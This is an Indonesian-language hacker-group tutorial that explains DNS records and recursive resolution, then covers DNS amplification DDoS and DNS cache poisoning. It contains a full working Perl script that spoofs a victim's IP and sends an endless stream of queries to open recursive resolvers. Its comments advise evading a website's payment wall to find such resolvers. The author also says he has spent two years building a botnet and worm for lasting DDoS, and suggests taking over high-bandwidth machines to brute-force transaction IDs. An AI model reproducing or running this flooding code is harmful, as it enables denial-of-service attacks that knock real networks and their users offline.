DNS Amplification Attack DDOS by: ev1lut10n thanks to: flyf666,gunslinger,petimati,peneter,ketek,chaer,wenkhairu,wahyu,n0te,blackn0te,kumbang and all devilzc0de crew and members sebelum kita mulai mari kita pahami beberapa term yang berhubungan dengan permainan kita kali ini - Query ID (QID) juga biasa disebut TXID (Transaction ID), merupakan nomor identifikasi transaksi khusus saat nameserver melakukan proses terhadap suatu query. qid ini pasti selalu ada di setiap query !! - cname juga dikenal sbg alias suatu domain misal: hostname -v www.yahoo.co.id cname: ;; ANSWER SECTION: www.yahoo.co.id. 7199 IN CNAME rc.yahoo.com. rc.yahoo.com. 300 IN CNAME rc.g01.yahoodns.net. rc.g01.yahoodns.net. 300 IN CNAME sg-rc.g01.yahoodns.net. - A record ip address misal berikut ini adl contoh A record : jasakom.com. 8347 IN A 64.57.208.81 ip address: 64.57.208.81 - MX record mail berguna menangani email dari domain # dig jasakom.com MX ; <<>> DiG 9.5.0-P2.1 <<>> jasakom.com MX ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62687 ;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;jasakom.com. IN MX ;; ANSWER SECTION: jasakom.com. 14400 IN MX 5 alt1.aspmx.l.google.com. jasakom.com. 14400 IN MX 10 aspmx3.googlemail.com. jasakom.com. 14400 IN MX 10 aspmx2.googlemail.com. jasakom.com. 14400 IN MX 10 aspmx5.googlemail.com. jasakom.com. 14400 IN MX 5 alt2.aspmx.l.google.com. jasakom.com. 14400 IN MX 10 aspmx4.googlemail.com. jasakom.com. 14400 IN MX 0 aspmx.l.google.com. ;; Query time: 250 msec ;; SERVER: 202.73.99.2#53(202.73.99.2) ;; WHEN: Fri Apr 15 02:20:31 2011 ;; MSG SIZE rcvd: 205 - SOA record yg berisi data zone (email admin, alamat,dll) misal ketika sy ketik: host -v devilzc0de.org , SOA nya: ;; AUTHORITY SECTION: devilzc0de.org. 9542 IN SOA satu.maxoz.com. petimati85.yahoo.com. 2011031702 7200 7200 172800 7200 - NS record nameserver dari domain untuk melihat record nameserver domain bisa menggunakan dig: http://4.bp.blogspot.com/-9T664PPaPqk/TaePcqc06SI/AAAAAAAAAQs/Hqup-3dj_qk/s320/ns0.jpg - Rekursif merupakan metode untuk memproses dns request dari klien, di sini si nameserver akan mencari authoritative nameserver. - zone suatu zona dari domain berisi dns record untuk suatu domain (ex zone : devilzc0de.org , www.devilzc0de.org , chaer.devilzc0de.org) -authoritative dan non authoritative nameserver daemon suatu nameserver bertujuan memberikan dns reply yg berisi alamat ip dari domain, jika dijawab langsung -> authoritative nameserver , jika tidak : non authoritative nameserver. -resolver di sisi klien bertujuan meresolve ip dari suatu domain misal di mesin ini: http://4.bp.blogspot.com/-CinTLjAN9cs/TaeP7aRFJuI/AAAAAAAAAQ0/vgHtgA1F_zE/s320/ns1.jpg saat terjadi query suatu domain misal devilzc0de.org maka resolver kita akan mengontak nameserver terdekat yaitu: 202.73.99.2 untuk menanyakan ip devilzc0de.org selanjutnya nameserver akan memeriksa cachenya jika ditemukan maka akan langsung dijawab, jika tidak maka nameserver akan mencari authoritative nameserver yang menangani devilzc0de.org. - recursive nameserver tujuanya mencari data tentang zona suatu domain dari internet. -TTL time to live ? berapa lama record dns akan disimpan di cache ??? - Glue Record merupakan additional section http://1.bp.blogspot.com/-wBtMe7-In30/TaeQDXgW9eI/AAAAAAAAAQ8/R6MZRcHXZRU/s320/ns2.jpg - Root Name Server ada 13 root name server di dunia (belum termasuk mirrornya), bertujuan membalas request berupa autho.yg terlihat dari mesin ini: a.root-servers.net. 393816 IN A 198.41.0.4 a.root-servers.net. 393816 IN AAAA 2001:503:ba3e::2:30 b.root-servers.net. 393816 IN A 192.228.79.201 c.root-servers.net. 393816 IN A 192.33.4.12 d.root-servers.net. 393816 IN A 128.8.10.90 e.root-servers.net. 393816 IN A 192.203.230.10 f.root-servers.net. 393816 IN A 192.5.5.241 f.root-servers.net. 393816 IN AAAA 2001:500:2f::f g.root-servers.net. 393816 IN A 192.112.36.4 h.root-servers.net. 393816 IN A 128.63.2.53 h.root-servers.net. 393816 IN AAAA 2001:500:1::803f:235 i.root-servers.net. 393816 IN A 192.36.148.17 i.root-servers.net. 393816 IN AAAA 2001:7fe::53 j.root-servers.net. 393816 IN A 192.58.128.30 * Cara Kerja DNS REKURSIF - no cache at isp (recursive) 1. misal jika saya melakukan dns query untuk mendapatkan A Record dari domain devilzc0de.org berupa alamat ip 2. mesin ini mengontak ISP untuk mendapatkan alamat ip, di sisi ISP tidak ditemukan cache, isp (rekursif) meminta informasi nameserver dns query ke root name server, ada 13 root name server di dunia ini (ipnya jarang diganti, pernah menjadi target ddos cracker, liat info: http://en.wikipedia.org/wiki/Distributed_denial_of_service_attacks_on_root_nameservers ): a.root-servers.net. 397017 IN A 198.41.0.4 b.root-servers.net. 397017 IN A 192.228.79.201 c.root-servers.net. 397017 IN A 192.33.4.12 d.root-servers.net. 397017 IN A 128.8.10.90 e.root-servers.net. 397017 IN A 192.203.230.10 f.root-servers.net. 397017 IN A 192.5.5.241 f.root-servers.net. 397017 IN AAAA 2001:500:2f::f g.root-servers.net. 397017 IN A 192.112.36.4 h.root-servers.net. 397017 IN A 128.63.2.53 h.root-servers.net. 397017 IN AAAA 2001:500:1::803f:235 i.root-servers.net. 397017 IN A 192.36.148.17 i.root-servers.net. 397017 IN AAAA 2001:7fe::53 j.root-servers.net. 397017 IN A 192.58.128.30 - isp's cached ??? 1. misal jika saya melakukan dns query untuk mendapatkan A Record dari domain devilzc0de.org berupa alamat ip 2. mesin ini mengontak ISP untuk mendapatkan alamat ip, jika alamat ada di cache ISP maka dns reply langsung dikirim berisi A Record ip devilzc0de.org : 119.235.27.196 root@bt:~/djbdns-1.05# host devilzc0de.org devilzc0de.org has address 119.235.27.196 root@bt:~/djbdns-1.05# 3. mesin ini mengontak alamat ip 119.235.27.196 3. selanjutnya rootname server memberikan informasi GTLD -GTLD (Global Top Level Domain) yang menangani .org misal : A.GTLD-SERVERS.ORG, B.GTLD-SERVERS.ORG, C.GTLD-SERVERS.ORG yang selanjutnya akan dipilih secara random 4. selanjutnya GTLD akan terus diacak hingga akhirnya didapatkan informasi authoritative nameserver untuk devilzc0de.org ;; ANSWER SECTION: devilzc0de.org. 10964 IN A 119.235.27.196 selanjutnya reply akan dikirim ke nameserver ISP 5. nameserver ISP menyimpan informasi tadi ke cache ISP dan selanjutnya memberikan informasi alamat ip devilzc0de.org ke mesin ini. 6. selanjutnya mesin ini mengontak alamat ip devilzc0de.org untuk komunikasi tcp biasanya diawali dengan mengirim SYN * DNS Amplification Attack Teknik ini dilakukan dengan melakukan spoofing src ip pada query suatu DNS ke recursive nameserver dengan tujuan nameserver mengirimkan dns reply ke ip target yg dispoof oleh zombie (diperlukan raw ip dan privilege root), dg skenario dns amplification ini akan membanjiri ip target dengan dns 2 reply, bertujuan membuat berat kinerja router. berikut ini adalah sample kode perl yang mengimplementasikan dns amplification attack , sumber kode : http://packetstorm.unixteacher.org/0710-exploits/spoofer2.pl.txt silahkan dipelajari dan dimengerti (kodenya pendek jd sy yakin mudah dipahami). #!/usr/bin/perl # Get Net::RawIP at http://search.cpan.org/CPAN/authors/id/S/SZ/SZABGAB/Net-RawIP-0.21_01.tar.gz # cpan Net::DNS:Resolver seems to work fine on each machine I throw it on, as well. # PS: To see if you can spoof, check out the ANA Spoofer project. # http://spoofer.csail.mit.edu/ # # Written by Shadow # irc.dark-irc.net #thecorpz # chemshadow@gmail.com use Net::DNS::Resolver; use Net::RawIP; use strict; # Populate this list with domain names with lots of A records. IRC server DNS pools are a good place to look. # Maybe get a cheap throwaway domain and add your own A records. my @name = ("irc.efnet.net", "irc.dal.net", "irc.undernet.org", "irc.freenode.net"); my $names = "3"; #number of entries in @name, minus one. # Populate this list with ONLY open, recursive dns servers. # http://www.dnsstuff.com/ - Block their cookies to use the site w/o paying. my $nameservers; my @nameservers = ("205.234.223.168", "64.202.117.121", "208.80.184.69", "200.255.59.150") #4 entries. my $reflectors = "3"; # Number of entries in @nameservers, minus one. my $debug = 1; # Change to 0 if you don't wanna have your console flooded. ########################## # END USER CONFIGURATION # ########################## my $str; my $name; my $src_ip; my $reflector; $src_ip = $ARGV[0]; if ($ARGV[0] eq '') { print "Usage: " . $0 . " <IP>\n"; exit(0); } print ("Hitting $ARGV[0]\n"); for (my $i=0; $i < 256; $i++) { # Make DNS packet my $dnspacket = new Net::DNS::Packet($str, "A", "IN"); my $dnsdata = $dnspacket->data; my $sock = new Net::RawIP({udp=>{}}); # send packet $str = @name[int rand($names)]; # Select entry from @name $reflector = $nameservers[int rand($reflectors)]; # Select entry from @nameservers $sock->set({ip => { saddr => $src_ip, daddr => "$reflector", frag_off=>0,tos=>0,id=>1565}, udp => {source => 53, dest => 53, data=>$dnsdata } }); $sock->send; if ($debug eq "1") { print "Me -> " . $reflector . "(DNSing " . $str . ")" . " -> " . $src_ip . " \n"; } $i = 0; } exit(0); untuk menjalankan skrip di atas diperlukan priv root, kurang lebih seperti ini gambaran skenario untuk dns amplification attack: http://www.corecom.com/external/livesecurity/dnsfig1.jpg Khusus untuk dns amplification attack sedang sy kembangkan suatu kombinasi botnet dan worm dan ini sudah sy lakukan selama 2 tahunan. dengan mengkombinasikan worm dan botnet bertujuan menciptakan efek ddos jangka panjang. apakah bahaya lainya dari recursive nameserver ???????? * DNS Cache Poisoning dns cache poisoning ini adalah salah satu metode penyerangan dns yang terdokumentasi. kali ini kita akan membahas beberapa metode (lama dan baru). DNS Cache Poisoning bertujuan merubah / menambah cache resolver dg tujuan DNS Query ke resolver mengembalikan ip dari domain attacker bukan ip domain asli yang seharusnya dituju. DNS cache poisoning ini bisa diterapkan bukan hanya untuk nameserver dari domain target tapi juga bisa diterapkan pada nameserver ISP 2. untuk melakukan dns cache poisoning kita perlu mengetahui informasi2 ini: - prediksi QID (transaction id yg sy sebutkan di atas tadi) - prediksi source port - kita harus bisa memberikan dns reply lebih cepat dari yg aslinya. jadi inti dari dns cache poisoning adl jika kita bisa meracuni cache dari suatu nameserver dengan mengirimkan dns reply dengan qid , source port yang tepat sehingga data yg intinya berisi A RECORD ip kita sbg attacker akan disimpan di cache nameserver. setelah adanya BIND 9 PRNG eksploitasi menjadi bertambah sulit untuk menebak QID krn qid menggunakan angka acak yg digenerate berdasarkan /dev/random. informasi QID didapatkan dari brute force. sayangnya akan sangat sulit melakukan brute force dengan koneksi internet kita, brute force menjadi lebih efektif jika kita bisa mentake over mesin dengan bandwith tinggi dg routing dengan hop pendek ke nameserver korban. http://2.bp.blogspot.com/-weJs4vAVBXY/TaeQKIyofyI/AAAAAAAAARE/X4i1ADThXec/s320/ns4.jpg